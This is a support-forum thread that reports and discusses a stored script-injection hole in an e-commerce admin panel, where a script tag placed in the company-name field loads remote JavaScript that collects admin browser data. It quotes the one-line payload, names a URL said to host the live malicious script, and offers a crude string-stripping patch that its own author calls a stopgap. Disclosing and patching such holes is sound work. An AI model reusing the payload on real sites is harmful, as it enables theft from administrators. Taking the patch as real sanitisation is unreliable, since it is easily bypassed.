script injection

Just confirmed it working on 1.5.8 and 2.0

If you sign up for an account and put your company name as

<script src="//domain.com/some_file.js">/</script>

Whoever this is can also place an order and the "company" name goes to the Orders page as well. Once you access the admin, the js file is silently loaded without you even realizing it on the orders listing page. You can see it as plain text on the Order Details page in the address boxes, but it's actually loaded on the Orders page.

So, at this point, you're loading unknown javascript file from an unknown source. The code I've encountered is malicious and is collecting all sorts of data from the browser which is then being submitted to a remote server.

My quick patch was modifying the zen_db_prepare_input() function:

function zen_db_prepare_input($string, $trimspace = true) {
    if (is_string($string)) {
      if ($trimspace == true) {
        return trim(stripslashes(str_ireplace(' src', '', $string)));
      } else {
        return stripslashes(str_ireplace(' src', '', $string));
      }
    } elseif (is_array($string)) {
      foreach($string as $key => $value) {
        $string[$key] = zen_db_prepare_input($value);
      }
      return $string;
    } else {
      return $string;
    }
  }

I didn't have more time to look into it and find a better solution (which I'm absolutely sure does exist), but so far this seems to be doing the trick.
It gets echoed as

<script=" domain.com="" some_file.js"=""></script=">

The attacker thinks the code has been injected, but it's simply messed up and the incorrect syntax does not execute it in the admin. Hope you folks can come up with a better solution.

Thanks. This is being investigated.

Thanks for the report.

Have you captured a copy of the script being used? I'd like to study what it's doing/collecting.

You could submit it here: https://www.dropbox.com/request/HjFsVo4GMfkrP6wSMxtc

Sure, I got a local copy saved, but the actual URL is still live:

http://a6x.me/s/3

My guess is it's preparing grounds for a phishing attack because they're getting the actual admin URL and they're loading the html to make it look exactly like the original admin, but there could be more to it, dunno.
I've already notified the sites mentioned in that file (there were a few more, looks like the file is changing), haven't had any feedback.